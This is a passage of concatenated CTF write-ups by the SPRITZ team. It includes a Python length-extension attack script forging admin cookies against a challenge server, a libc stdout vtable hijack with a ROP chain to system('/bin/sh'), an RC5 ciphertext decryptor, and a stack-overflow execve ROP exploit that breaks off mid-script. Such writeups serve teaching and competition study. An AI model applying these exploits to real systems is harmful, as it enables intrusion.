31337 | tee status_box.log && cat status_box.log | grep -E "flag{|FLAG{" 168 | ``` 169 | 170 | Since we do not know how far we have to search, we cat a subshell which iterates over 100 statuses for the first try. The sleep command is a dirty trick used to wait between two actions so that the process will correctly recognize them. Then we tee stdout because we may want to check from time to time if the search is going well while generating the log file. Since the flag format was given in the polictf instruction section, we can easily grep it from the generated log file. The search will take about 100*4s = 400s. 171 | 172 | The resulting flag is: `flag{g00d_0ld_m1ss1ng_ch3cks!}`. -------------------------------------------------------------------------------- /backdoorctf-2017/web/extends-me-250/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** BackdoorCTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Extends Me 8 | 9 | **Points:** 250 10 | 11 | In this challenge we were faced with a web application for which we had [the source code](./EXTEND-ME.zip). We were presented with a login screen with just a username field. The logic comes from `server.py`: 12 | 13 | ```python 14 | @app.route('/login',methods = ['GET', 'POST']) 15 | def login(): 16 | if request.method == 'POST': 17 | if not request.form.get('username'): 18 | return render_template('login.html') 19 | else: 20 | username = str(request.form.get('username')) 21 | if request.cookies.get('data') and request.cookies.get('user'): 22 | data = str(request.cookies.get('data')).decode('base64').strip() 23 | user = str(request.cookies.get('user')).decode('base64').strip() 24 | temp = '|'.join([key,username,user]) 25 | if data != SLHA1(temp).digest(): 26 | temp = SLHA1(temp).digest().encode('base64').strip().replace('\n','') 27 | resp = make_response(render_template('welcome_new.html',name = username)) 28 | resp.set_cookie('user','user'.encode('base64').strip()) 29 | resp.set_cookie('data',temp) 30 | return resp 31 | else: 32 | if 'admin' in user: # too lazy to check properly :p 33 | return "Here you go : CTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" 34 | else: 35 | return render_template('welcome_back.html',name = username) 36 | else: 37 | resp = make_response(render_template('welcome_new.html',name = username)) 38 | temp = '|'.join([key,username,'user']) 39 | resp.set_cookie('data',SLHA1(temp).digest().encode('base64').strip().replace('\n','')) 40 | resp.set_cookie('user','user'.encode('base64').strip()) 41 | return resp 42 | 43 | else: 44 | return render_template('login.html') 45 | ``` 46 | 47 | There's a base64-encoded cookie named `user` (with value "user" by default) which has to contain the string "admin" to print the flag. Another base64-encoded cookie, `data`, is the hash of a secret key, the login username and the decoded `user` cookie joined by `|`. If we change `user` we also have to recalculate the hash, otherwise the code will just change it back to its default value and we won't get our flag. We don't know the secret key, so we can't do this trivially. Let's look into the hash and see if there's a way out. 48 | 49 | The code uses SLHA1, a custom variation on SHA1. Like SHA1, it is a Merkle–Damgård hash function. This means that the hash of a block only depends on the block and on the _hash_ of the precedent blocks. In other words, if we have the hash for a message, we can calculate the hash of the message with arbitrary data appended. This is known as _length extension attack_. Since the secret key is at the beginning and `user` at the end, we want to append "admin" to the `user` cookie. 50 | 51 | The first step in doing so is figuring out the padding. SLHA1 works on fixed-size 64-byte blocks, so there must be padding added when hashing arbitrarily long strings. This is important because our appended data will come _after_ the padding for the original message. We know `SLHA1(message | padding)`, and we will calculate `SLHA1(message | padding | "admin")` to use `"user" | padding | "admin"` as `user` (assuming the original value was `"user"`). Padding is handled by this function in `hash.py`: 52 | 53 | ```python 54 | def _produce_digest(self): 55 | message = self._unprocessed 56 | message_byte_length = self._message_byte_length + len(message) 57 | message += b'\xfd' 58 | message += b'\xab' * ((56 - (message_byte_length + 1) % 64) % 64) 59 | message_bit_length = message_byte_length * 8 60 | message += struct.pack(b'>Q', message_bit_length) 61 | 62 | h = _process_chunk(message[:64], *self._h) 63 | 64 | if len(message) == 64: 65 | return h 66 | 67 | return _process_chunk(message[64:], *h) 68 | ``` 69 | 70 | The padding consists of a `0xfd` byte, followed by as many `0xab` bytes as needed, followed by a big-endian quadword equal to the unpadded message length in bits. This means that we need to know the original message length to calculate the padding. Fortunately, it's something we can easily bruteforce later. Now that we know how to generate padding, let's write some code to perform the attack: 71 | 72 | ```python 73 | def extend(digest, length, ext): 74 | pad = '\xfd' 75 | pad += '\xab' * ((56 - (length + 1) % 64) % 64) 76 | pad += struct.pack('>Q', length * 8) 77 | slha = SLHA1() 78 | slha._h = [struct.unpack('>I', digest[i*4:i*4+4])[0] for i in range(6)] 79 | slha._message_byte_length = length + len(pad) 80 | slha.update(ext) 81 | return (pad + ext, slha.digest()) 82 | ``` 83 | 84 | This function takes the original digest, the length of the original message, and the extension we want as suffix. First, it calculates the padding to generate `pad | ext`, which will be our actual extension. Then it injects the original hash and length into the hash engine. At this point, due to its construction, the state of the hash function is exactly the same as if it had just hashed `message | padding`. Finally, it feeds the extension to the hash function and calculates the digest. 85 | 86 | All we have to do is extend the hash with "admin" and use `"user" | padding | "admin"` as the `user` cookie, while bruteforcing the original length. Here's the script: 87 | 88 | ```python 89 | #!/usr/bin/python2 90 | 91 | from hash import SLHA1 92 | import struct 93 | import requests 94 | 95 | def extend(digest, length, ext): 96 | pad = '\xfd' 97 | pad += '\xab' * ((56 - (length + 1) % 64) % 64) 98 | pad += struct.pack('>Q', length * 8) 99 | slha = SLHA1() 100 | slha._h = [struct.unpack('>I', digest[i*4:i*4+4])[0] for i in range(6)] 101 | slha._message_byte_length = length + len(pad) 102 | slha.update(ext) 103 | return (pad + ext, slha.digest()) 104 | 105 | post = { 106 | 'username': 'admin' 107 | } 108 | cookies = { 109 | 'data': '2L+JUplcB7+OBmCXaa3srMrfoMbLTGz1', 110 | 'user': 'dXNlcg==' 111 | } 112 | 113 | orig_digest = cookies['data'].decode('base64') 114 | orig_user = cookies['user'].decode('base64') 115 | 116 | min_len = len('|'.join(['?', post['username'], orig_user])) 117 | for length in range(min_len, min_len+64): 118 | print('[+] Trying length: {}'.format(length)) 119 | ext, new_digest = extend(orig_digest, length, 'admin') 120 | cookies['data'] = new_digest.encode('base64').strip().replace('\n', '') 121 | cookies['user'] = (orig_user + ext).encode('base64').strip().replace('\n', '') 122 | r = requests.post('https://extend-me-please.herokuapp.com/login', data=post, cookies=cookies) 123 | if 'CTF{' in r.text: 124 | print(r.text) 125 | break 126 | ``` 127 | 128 | And we get the flag: 129 | 130 | ``` 131 | [+] Trying length: 30 132 | Here you go : CTF{4lw4y3_u53_hm4c_f0r_4u7h} 133 | ``` 134 | 135 | As shown in other writeups, there's also a simpler solution that exploits the absence of a check for `|` in the username. -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/babyheap-200/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** 0x00 CTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** pwn / babyheap 8 | 9 | **Points:** 200 10 | 11 | ``` 12 | Baby's play. 13 | ``` 14 | 15 | **Beware: this is a heap challenge, but I didn't exploit it through the heap!** 16 | 17 | We're given a 64-bit Linux binary, along with its libc: 18 | 19 | ``` 20 | babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=482118237e809a1e6b662d422025f5cdc3581901, not stripped 21 | libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped 22 | ``` 23 | 24 | Checksec shows full RELRO, stack canary, NX and no PIE. 25 | 26 | When run, the program asks for a name and then presents a menu: 27 | 28 | ``` 29 | enter your name: 30 | spritzers 31 | Member manager! 32 | 1. add 33 | 2. edit 34 | 3. ban 35 | 4. change name 36 | 5. get gift 37 | 6. exit 38 | ``` 39 | 40 | This is obviously a heap challenge. You can add (allocate), edit and ban (free) users. You can also change your name (only once), and option 5 gives you a libc leak by printing the address of `read`. There are two kinds of user edit (secure and insecure), and you can do each only once. 41 | 42 | You can have up to four users, the pointers to which are stored in a BSS array at 0x602040. The name can be up to 40 characters, stored at 0x6020A0. 43 | 44 | While auditing the program I saw this code for the insecure edit: 45 | 46 | ```c 47 | puts("index: "); 48 | fflush(stdout); 49 | user2 = users[read_num()]; 50 | if (user2) { 51 | user_len2 = strlen(user2); 52 | puts("new username: "); 53 | fflush(stdout); 54 | new_user_len2 = read(0, user2, user_len2); 55 | if (malloc_usable_size(user2) != new_user_len2) 56 | user2[new_user_len2] = 0; 57 | ++edit2; 58 | puts("user edited!"); 59 | fflush(stdout); 60 | } else { 61 | puts("no such user!"); 62 | fflush(stdout); 63 | } 64 | ``` 65 | 66 | Now, `read_num` reads an integer from the standard input. There is no bounds checking on the access to `users`. The return value of `read_num` is treated as unsigned, so we can make it access any memory after `users`. Notice that we control the name buffer, and it is indeed after `users`! This means that we can control the pointer `user2` by putting it into the name and fetching it with a big enough index. 67 | 68 | The code then considers `user2` as a pointer to string and allows to read into it up to its original length. Note that `malloc_usable_size` will return zero if the pointer doesn't lie within the heap. 69 | 70 | This gives as an almost arbitrary write primitive. We can write what we want where we want in memory, as long as the original bytes don't contain zeroes (because they would terminate `strlen`). 71 | 72 | An idea strikes me: can I exploit the binary using only this memory write, without bothering with the heap? Well, I'm always up for a challenge! Maybe it'll be more complex, but hey, this should be fun. 73 | 74 | A good place for an overwrite is libc, as it's full of function pointers and the program gives us a leak via option 5. Pointers do contain two top zero bytes on x64, but we're fine with just overwriting the first six as those two are always zero. Since this program uses `malloc` and `free`, we could overwrite the memory allocation hooks. However, those are initially NULL, so they won't work with our memory write. Another strategy would be to hijack an `atexit` entry, but they're XORed with a secret value that we don't know. 75 | 76 | There is another source of non-NULL function pointers which this program surely invokes. You can see it uses `puts` and `fflush(stdout)`. It's accessing `stdout` through the stdio interface. Each stdio file is described by a `_IO_FILE` structure. This is part of a larger `_IO_FILE_plus` structure, which contains a pointer to a virtual table. This virtual table contains function pointers for things like writing, reading, flushing, and so forth (see [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) if you're not familiar). 77 | 78 | The structures for `stdout` reside inside of libc. The vtable is read-only, however, the `_IO_FILE_plus` structure is writable. So we can create a fake vtable inside a controlled memory area (the name buffer), then overwrite the vtable pointer of `stdout` to point to our fake vtable. Whenever a call through that vtable is made, it'll use our vtable with our pointers. 79 | 80 | A small thing to note is that the vtable is larger than the name buffer, so we can't really create a whole fake vtable. This is not a problem: if we determine what's the first function to be called after the overwrite, we can offset the vtable pointer so that specific entry will be within the name buffer. The rest of the table will be invalid, but who cares? We've already hijacked the flow. 81 | 82 | So I did this: 83 | 84 | 1. When first asked for a name, set it to something arbitrary (we don't have the info we need yet). 85 | 2. Leak the address of `read` via option 5 and calculate the libc base. 86 | 3. Edit the name, putting the address of the vtable pointer for `stdout` at the beginning. To find the address, notice there's a `stdout` pointer in the BSS of the program, which points to libc+0x3C5620. The size of the `_IO_FILE` struct is 0xD8, and the vtable pointer in `_IO_FILE_plus` immediately follows, so just sum 0xD8 to the address of `stdout` and you've got the vtable pointer address. 87 | 4. Perform an insecure edit with an index of 12. There are 96 bytes between `users` and the name buffer. Since `users` is a pointer array, it's indexed by 8-byte elements, which gives you that index. 88 | 89 | Now the program will read 6 bytes into the vtable pointer. I overwrote it with an invalid address that would crash when accessed: 90 | 91 | ``` 92 | Program received signal SIGSEGV, Segmentation fault. 93 | 0x00007ffb8eb8b735 in ?? () 94 | gef➤ x/i $rip 95 | => 0x7ffb8eb8b735: call QWORD PTR [rax+0x38] 96 | ``` 97 | 98 | Where `rax` contains our vtable pointer. So the first called function pointer is at offset 0x38 in the vtable, which corresponds to `xsputn` for the `puts` call. I offsetted the vtable pointer so that this entry would fall within the name buffer, and I got RIP control. 99 | 100 | At this point I tried a one-gadget RCE, but unfortunately I couldn't satisfy the gadget constraints. Okay, we'll have to do more serious code reuse. Maybe stack pivoting and ROP? The vtable pointer is in `rax`, and there are plenty of libc gadgets that make indirect calls though `rax`, so maybe we can do something [COOP](http://ieeexplore.ieee.org/document/7163058/)-like? 101 | 102 | After looking for a while, I found this gadget at libc+0x12B82B: 103 | 104 | ``` 105 | mov rdi, rsp 106 | call qword ptr [rax+20h] 107 | mov cs:dword_3C8D9C, eax 108 | mov rax, [rsp+8] 109 | mov rax, [rax+38h] 110 | test rax, rax 111 | jz short loc_12B84A 112 | mov rdi, rsp 113 | call rax 114 | loc_12B84A: 115 | add rsp, 30h 116 | pop rbx 117 | retn 118 | ``` 119 | 120 | We can sum it up as: 121 | 122 | ``` 123 | mov rdi, rsp 124 | call qword ptr [rax+20h] 125 | if (![[rsp+8]+0x38]) { 126 | rsp += 0x38 127 | ret 128 | } 129 | ``` 130 | 131 | It calls the vtable entry at 0x20 with the stack pointer as its first argument (`rdi`). Then, it takes the pointer at `rsp+8`, dereferences a qword at 0x38 from it and, if the qword is zero, it returns. 132 | 133 | We can control 0x20 in our vtable, because having both 0x20 and 0x38 in the fake vtable requires it to be 32 bytes, which fits within the name buffer (with some offsetting). The idea here is to put the address of `gets` at 0x20. It will read as much as we want into the stack. We can now build a ROP buffer: 134 | 135 | - At offset 8, we put `ZERO_ADDR-0x38`, where `ZERO_ADDR` is the address of a zero qword somewhere in memory (I used 0x6020C8 at the end of the program's BSS). 136 | - At offset 0x38, we put our ROP chain. 137 | 138 | The ROP chain I built is trivial. I put a /bin/sh string inside the name buffer (there's unused space between the vtable entries), then with ROP popped its address into `rdi` and called `system`. It worked: 139 | 140 | ``` 141 | $ cat /home/babypwn/flag.txt 142 | 0x00CTF{ins3cuRE_pluZ_s3cuR3_EQ_pAWN!} 143 | ``` 144 | 145 | Yeah, that's definitely not the road I followed ;) 146 | -------------------------------------------------------------------------------- /volgactf-quals-2017/reverse/transformer-400/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** VolgaCTF 2017 Quals 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** reverse / Transformer 8 | 9 | **Points:** 400 10 | 11 | ``` 12 | We've got a file that was processed with a binary called transformer. We really need the contents of this file. Can you help? 13 | ``` 14 | 15 | We have an unstripped ELF 64-bit Linux binary of something that looks like an encryption application, along with an encrypted file named `ciphertext.zip.enc`. 16 | 17 | After loading the binary in IDA, we immediately see it's written in Rust. We also have plenty debug info, which makes it more bearable. Before jumping to reversing, let's play around with it a bit to get a feel for it and maybe make our lives easier. 18 | 19 | Executing the program without arguments prints: 20 | 21 | ``` 22 | Usage: transformer 23 | ``` 24 | 25 | We try out different input sizes and find a pattern: 26 | 27 | | Input size(s) | Output size | 28 | | ------------- | ----------- | 29 | | 0...7 | 12 | 30 | | 8...15 | 20 | 31 | | 16...23 | 28 | 32 | 33 | We suspect a 64-bit block cipher (with always at least one byte of padding) with 4 extra bytes somewhere. 34 | 35 | When trying longer inputs we notice part of the plaintext appears unencrypted in the output. Take for example the following input: 36 | 37 | ``` 38 | ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz9876543210 39 | ``` 40 | 41 | Which produces this output: 42 | 43 | ``` 44 | 00000000: 37f8 9c55 79c7 e40d ec3f 5c05 e27c e952 7..Uy....?\..|.R 45 | 00000010: c564 1e78 1f84 f8d5 2551 4e41 595a 3031 .d.x....%QNAYZ01 46 | 00000020: 3233 3435 03bb 2823 aca5 1d78 23f8 4363 2345..(#...x#.Cc 47 | 00000030: 8dd7 a1cf c4b8 c116 a26b 35c2 7576 7778 .........k5.uvwx 48 | 00000040: 797a 3938 1126 fefd 0e22 5b1a f58c 38cf yz98.&..."[...8. 49 | 00000050: 550c ab30 U..0 50 | ``` 51 | 52 | Notice `YZ012345` at offset 0x1C and `uvwxyz98` at offset 0x3C. Those are 64-bit blocks straight from the plaintext! The offset between those two substrings in the plaintext is 32 bytes, and sure enough 0x3C - 0x1C = 32. However, the offset of `YZ012345` from the start of the plaintext is 24 bytes, while the offset of that same block from the start of the ciphertext is 28 bytes, i.e. it looks like those extra 4 bytes might be at the beginning of the ciphertext. 53 | 54 | We also notice that multiple runs with the same input produce different outputs each time. There's some randomization involved, and most likely the 4 extra bytes have something to do with it (this later turned out to be true). 55 | 56 | To recap, our best guess is: 4 extra bytes at the beginning, 64-bit block cipher, every fourth block is left unencrypted, there's some kind of randomization. 57 | 58 | Now that we have some idea of what we're dealing with, let's get to reversing. The actually interesting functions seem to be: 59 | 60 | ``` 61 | transformer::main::he40168f1b93e998b 62 | transformer::mode::encrypt_crt_ecb::hd9b87ece0c780db7 63 | transformer::mode::encrypt_thread::h3e003e4395b60fbd 64 | transformer::rc5::Rc5::encrypt_block::hc307a8b30c5c81e1 65 | transformer::rc5::Rc5::new::h30d6eb4c1bfeb265 66 | transformer::rc5::data_to_s::he50325ddf278b94d 67 | ``` 68 | 69 | [RC5](https://en.wikipedia.org/wiki/RC5) is a block cipher with variable key size, block size and number of rounds, all of which are unknown to us. The block size is twice the word size, which is a tweakable parameter. In our case, with 64-bit blocks, we'd have a 32-bit word size. Also, `encrypt_crt_ecb` could be a misspelling of `encrypt_ctr_ecb`, i.e. counter mode encryption. 70 | 71 | Looking at `Rc5::new` we notice some interesting constants: 72 | 73 | ``` 74 | .text:7AD0 mov dword ptr [r13+0], 0B7E15163h 75 | ... 76 | .text:7B01 add eax, 9E3779B9h 77 | ``` 78 | 79 | Those are the RC5 key expansion magic constants for a 32-bit word size, indeed. By comparing to the RC5 algorithm, we reverse `Rc5::new` and `Rc5::encrypt_block` to gain more information about how they're called and on the structures used to maintain context. 80 | 81 | `Rc5::new` takes (in order) an RC5 context struct, the number of rounds and the key (in a wrapper struct) as arguments. It initializes the RC5 context through the key expansion algorithm. Due to all the wrappers it wasn't obvious where things came from. We breakpointed on the function and saw that the number of rounds was always 16. We also noticed that two different keys were being used. 82 | 83 | `Rc5::encrypt_block` takes (in order) an RC5 context struct (initialized by `Rc5::new`), the higher 32 bits of the plaintext block and the lower 32 bits of the plaintext block. It returns the encrypted 64-bit block. 84 | 85 | Those functions are called from `mode::encrypt_thread`. It accepts (amongst other things) two keys and two 32-bit block halves. It creates two RC5 ciphers, one for each key. The first key is used to encrypt the block passed in the arguments. The second key is used to encrypt a block read from an input buffer. Then, the two encrypted blocks are XORed and the result is written to an output buffer. 86 | 87 | Helping ourselves with a debugger, we see that the input blocks are our input data and the output blocks are written to the output file. Also, the blocks passed as arguments look like this: 88 | 89 | ``` 90 | pt[0] = 0x798d5d19, pt[1] = 0x0 91 | pt[0] = 0x798d5d19, pt[1] = 0x1 92 | pt[0] = 0x798d5d19, pt[1] = 0x2 93 | pt[0] = 0x798d5d19, pt[1] = 0x4 94 | pt[0] = 0x798d5d19, pt[1] = 0x5 95 | pt[0] = 0x798d5d19, pt[1] = 0x6 96 | pt[0] = 0x798d5d19, pt[1] = 0x8 97 | ... 98 | ``` 99 | 100 | That's a counter mode! The high 32-bit half is fixed, while the lower 32-bit half is a counter starting from zero. Notice how every fourth block is skipped, but the counter is still incremented. 101 | 102 | The fixed high half matches the first 4 bytes of the output file. It's generated randomly in `mode::encrypt_crt_ecb`. 103 | 104 | The only missing piece of the puzzle are the encryption keys. Those are passed in a pretty obvious way from `main` to `mode::encrypt_crt_ecb` (which then hands them over to `mode::encrypt_thread`). They are: 105 | 106 | ``` 107 | 1st key: A0 93 91 A8 CA 87 39 5C 108 | 2nd key: 86 5F AF 32 60 95 71 74 109 | ``` 110 | 111 | We can finally write a decryption tool (RC5 implementation from [here](https://github.com/tbb/pyRC5/blob/master/RC5.py)): 112 | 113 | ```python 114 | #!/usr/bin/python3 115 | 116 | from RC5 import RC5 117 | import struct 118 | import sys 119 | 120 | KEY_1 = bytes.fromhex('A09391A8CA87395C') 121 | KEY_2 = bytes.fromhex('865FAF3260957174') 122 | 123 | with open(sys.argv[1], 'rb') as f: 124 | data = f.read() 125 | 126 | ctr_seed = data[:4] 127 | blocks = [data[i:i+8] for i in range(4, len(data), 8)] 128 | 129 | # 64bit blocks, 16 rounds 130 | rc5_1 = RC5(32, 16, KEY_1) 131 | rc5_2 = RC5(32, 16, KEY_2) 132 | 133 | pt = b'' 134 | for i in range(len(blocks)): 135 | block = blocks[i] 136 | if i % 4 == 3: 137 | # every fourth block is not encrypted 138 | # counter is still advanced 139 | block_pt = block 140 | else: 141 | ctr_pt = ctr_seed + struct.pack(' plaintext.zip 154 | 155 | $ file plaintext.zip 156 | plaintext.zip: Zip archive data, at least v2.0 to extract 157 | 158 | $ unzip plaintext.zip -d plaintext 159 | Archive: plaintext.zip 160 | inflating: plaintext/plaintext.txt 161 | 162 | $ cat plaintext/plaintext.txt 163 | This document defines four ciphers with enough detail to ensure interoperability between different implementations. The first cipher is the raw RC5 block cipher. The RC5 cipher takes a fixed size input block and produces a fixed sized output block using a transformation that depends on a key. The second cipher, RC5-CBC, is the Cipher Block Chaining (CBC) mode for RC5. It can process messages whose length is a multiple of the RC5 block size. The third cipher, RC5- CBC-Pad, handles plaintext of any length, though the ciphertext will be longer than the plaintext by at most the size of a single RC5 block. The RC5-CTS cipher is the Cipher Text Stealing mode of RC5, which handles plaintext of any length and the ciphertext length matches the plaintext length. 164 | 165 | In the meantime your flag is VolgaCTF{Wh1te_b0x_crypto_i$_not_crYpto}. 166 | 167 | The RC5 cipher was invented by Professor Ronald L. Rivest of the Massachusetts Institute of Technology in 1994. It is a very fast and simple algorithm that is parameterized by the block size, the number of rounds, and key length. These parameters can be adjusted to meet different goals for security, performance, and exportability. 168 | 169 | RSA Data Security Incorporated has filed a patent application on the RC5 cipher and for trademark protection for RC5, RC5-CBC, RC5-CBC-Pad, RC5-CTS and assorted variations. 170 | ``` 171 | -------------------------------------------------------------------------------- /volgactf-quals-2017/exploits/not-so-honest-350/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** VolgaCTF 2017 Quals 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** exploits / Not so honest 8 | 9 | **Points:** 350 10 | 11 | ``` 12 | This server application claims to give you the flag provided you give it your encryption key. Honestly. But where's the catch? 13 | ``` 14 | 15 | We have an ELF 64-bit Linux binary. `checksec.sh` shows partial RELRO, stack canary, NX and no PIE. 16 | 17 | If we run the binary without arguments, it shows the usage: 18 | 19 | ``` 20 | usage: 21 | not_so_honest 22 | flag to give away 23 | key file 24 | ``` 25 | 26 | If we give it two files, it asks for a key to give us the flag. I started reversing the binary and noticed a stack overflow right away in `main`: 27 | 28 | ``` 29 | char input_key_hex[4096]; 30 | ... 31 | scanf("%s", input_key_hex); 32 | ``` 33 | 34 | The input key is then hexdecoded and processed. Since there's a stack canary we'd need a leak, but I tried feeding it an input of something like 4500 `A`s anyway. Let's look at the crash: 35 | 36 | ``` 37 | Program received signal SIGSEGV, Segmentation fault. 38 | 0x0000000000401401 in ?? () 39 | (gdb) x/i $rip 40 | => 0x401401: retq 41 | (gdb) x/xg $rsp 42 | 0x7fffffffc3b8: 0x04bfef148209ddea 43 | ``` 44 | 45 | Something funky is going on here. I expected an abort due to canary corruption, instead it's trying to jump to a corrupted return address, which should be prevented by the canary. In fact, `0x401401` is not in `main`! So there's another function vulnerable to stack overflows that isn't protected by the canary. Another thing I notice is that the return address `0x04bfef148209ddea`, while it doesn't look anything like a valid address, also doesn't look anything like our input. 46 | 47 | I start looking at the code around `0x401401`, which is poorly handled by IDA as it has some random bytes in between instructions that I have to manually fix. To make things quicker, I fire up `qira` and trace the last write to the return address, which gets me to this loop: 48 | 49 | ``` 50 | .text:401383 loc_401383: 51 | .text:401383 mov r14, [r9+r11] ; r14 = *((uint64_t *) (r9 + r11)) 52 | .text:401387 xor r14, [r10+r11] ; r14 ^= *((uint64_t *) (r10 + r11)) 53 | .text:40138B xor r14, [rdx+r11] ; r14 ^= *((uint64_t *) (rdx + r11)) 54 | .text:40138F mov [rsp+r11], r14 ; *((uint64_t *) (rsp + r11)) = r14 55 | .text:401393 add r11, 8 ; r11 += 8 56 | .text:401397 cmp r11, rcx 57 | .text:40139A jl short loc_401383 ; while (r11 < rcx) repeat 58 | ``` 59 | 60 | It's encoding and copying input data to the stack. `r11` is the offset, which starts at zero and is incremented by 8 every iteration (because it's writing 8 bytes at a time). `rdx` points to the hexdecoded input buffer (in our case, `{0xaa, 0xaa, ...}`). `r9` points to some magic buffer at `0x602088` (in `.data`). `rdx` points to code at `0x401313`. `rcx` is the size of the hexdecoded input buffer (half the input size), but it's capped at `2047`. This means it can write up to 2kB of data. The return address is overwritten at the iteration with `r11` = 104, so we have ample space for our ROP chain. 61 | 62 | The code at `0x401313` is obviously not going to change. The buffer at `0x602088` is pre-initialized in the binary and has some modifications done at runtime. The first 104 (!) bytes are zero and are not changed. Then it has: 63 | 64 | - 256 bytes XORed, QWORD-wise, with `0x2a8429e525bc3757` 65 | - 256 bytes XORed, QWORD-wise, with `0x241b0b5573dca89a` 66 | - 104 bytes XORed, QWORD-wise, with `0x9ae43ac798b2df95` 67 | 68 | I only cared about the first 256 bytes block, since it's more than enough for my ROP chain. With this knowledge we can generate an input that decodes exactly to what we want: we just need to XOR our desired result with the two QWORDs for the offset it's located at. To get to the return address we need an input with `104 * 2 = 208` hex digits before our XOR-encoded and then hexencoded address. Indeed it works, RIP control achieved! 69 | 70 | The binary has NX enabled, so we need to build a ROP chain. There's a nice `syscall` gadget, so we're going to call `execve("/bin/sh", {NULL}, NULL)`. We need gadgets to set the syscall number (`rax`) and the first three arguments (`rdi`, `rsi`, `rdx`). We also need a write-what-where gadget for `filename` and `argv`. All but `rdx` are easy: 71 | 72 | ``` 73 | POP_RAX = 0x401315 # pop rax; ret; 74 | POP_RDI = 0x4014a3 # pop rdi; ret; 75 | POP_RSI = 0x400816 # pop rsi; ret; 76 | SYSCALL = 0x40135b # syscall; ret; 77 | WWW_RDI_RAX = 0x40136a # mov qword ptr [rdi], rax; ret; 78 | ``` 79 | 80 | I couldn't find a gadget to set `rdx`. We actually only need to zero it out. I tried division and multiplication instructions (which have side-effects on `rdx`) without luck. Ironically, I found a way out by abusing the stack canary mitigation. Functions with this mitigation store the canary from `fs:28h` in the stack between locals and the return address in their prologue. In the epilogue they compare the stack canary against the real canary from `fs:28h` and, if they are not equal, abort execution without returning. The catch is how this check is done: the stack canary is loaded into a register, then the register is XORed with the canary from `fs:28h` and the check fails if the register is not zero. This means that, after executing the function, that register will be zeroed. You can probably guess I found a function that used `rdx` for the check and was very easy to call without significant side effects: 81 | 82 | ``` 83 | .text:400BE0 sub rsp, 18h 84 | .text:400BE4 mov byte ptr [rdi+rsi], 80h 85 | .text:400BE8 shr rsi, 3 86 | .text:400BEC mov rax, fs:28h ; load real canary 87 | .text:400BF5 mov [rsp+8], rax ; store canary on stack 88 | .text:400BFA xor eax, eax 89 | .text:400BFC mov rdx, [rsp+8] ; rdx = stack canary 90 | .text:400C01 xor rdx, fs:28h ; rdx ^= real canary 91 | .text:400C0A jnz short loc_400C15 ; != 0 -> check failed 92 | .text:400C0C lea rax, [rsi+1] 93 | .text:400C10 add rsp, 18h 94 | .text:400C14 retn 95 | .text:400C15 loc_400C15: 96 | .text:400C15 call ___stack_chk_fail 97 | ``` 98 | 99 | All this function does is storing the byte `0x80` at the address `rdi + rsi`, so we just need to make this point to some writable address. We have gadgets to set `rdi` and `rsi`, so it's not a problem. But we could also jump straight to `0x400bec` and avoid that. The stack pointer will be advanced by 24 bytes, which means we need as many bytes of junk in the chain. Setting `rdi` and `rsi` is 32 bytes, so let's go with `0x400bec`. The code will also corrupt `rax`, but that's not a significant issue. 100 | 101 | I built a straightforward chain (see exploit code for details) and got a shell on my machine. When connecting to the remote service, I was presented with a puzzle such as: 102 | 103 | ``` 104 | Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='41c171a223545b5bc9e7b2a2' 105 | ``` 106 | 107 | I just bruteforced it with printable characters. At last, we have a shell: 108 | 109 | ``` 110 | $ cat flag.txt 111 | VolgaCTF{ASLR_is_Usele$s_when_syscall_ret_is_in_B1n@ry} 112 | ``` 113 | 114 | Full exploit code (the encoding is based off the +104 offset, 256 bytes were more than enough): 115 | 116 | ```python 117 | #!/usr/bin/python2 118 | 119 | from pwn import * 120 | import hashlib 121 | import itertools 122 | import sys 123 | 124 | DATA_STUFF = '561A5EB65B6C91842F343B815D114B155F50B5B10E0F2C41EA2F883E5E96F6DD1702F4B9B406BF7FB4F723FD36DA099BA89082F9635E538C46CC489F77B8E0A9A60453FFC99C3601DFE625EE69AD993ED6A0CDEFBA8A0F7D6BB57877B9356C8A5383396F133AD09C883BA6AB3BC9BDD677AC986B4CB11A81A5576C490FD343F357E3A34BA6956879DEC9C678ACE0B6E8AEAD4448F3F2DDBC13DE71C3A36B0B2096FB054055FB42864976DE0CCB27F07A556D7F009EA3AE71A731B1628A59195447F9AE023065CBFC2E07D413905460C7D75D2C124777F2809248818A40CC9D4BAA7AC092EEC7296175C25B56C6084C2FB6516196BD40E77C58968DB0F22EBE02'.decode('hex') 125 | TEXT_STUFF = '415A41BB000000004F8B34194F33341A4E33341A4E89341C4983C3084939CB7CE778037901E9478A34194732341A4632341A4688341C49FFC34939CB7CE84989E24989FC4C8D2CF500000000E806000000E8A601400000488B04244883C01348890424C34831DB498B141CE8A3FDFFFF4989141C4883C3084C39EB7CEA78037901E94883C468C34989F44C8B0249B9882060000000000078037901E8E8F0FDFFFF78037901E8488B174D89CAE862FDFFFF49891424C3662E0F1F8400000000000F1F440000415741564189FF415541544C8D25BE09200055488D2DBE092000534989F64989D54C29E54883EC0848C1FD03E847F2FFFF4885ED742031DB0F1F84'.decode('hex') 126 | 127 | context(arch='amd64', os='linux') 128 | 129 | p = 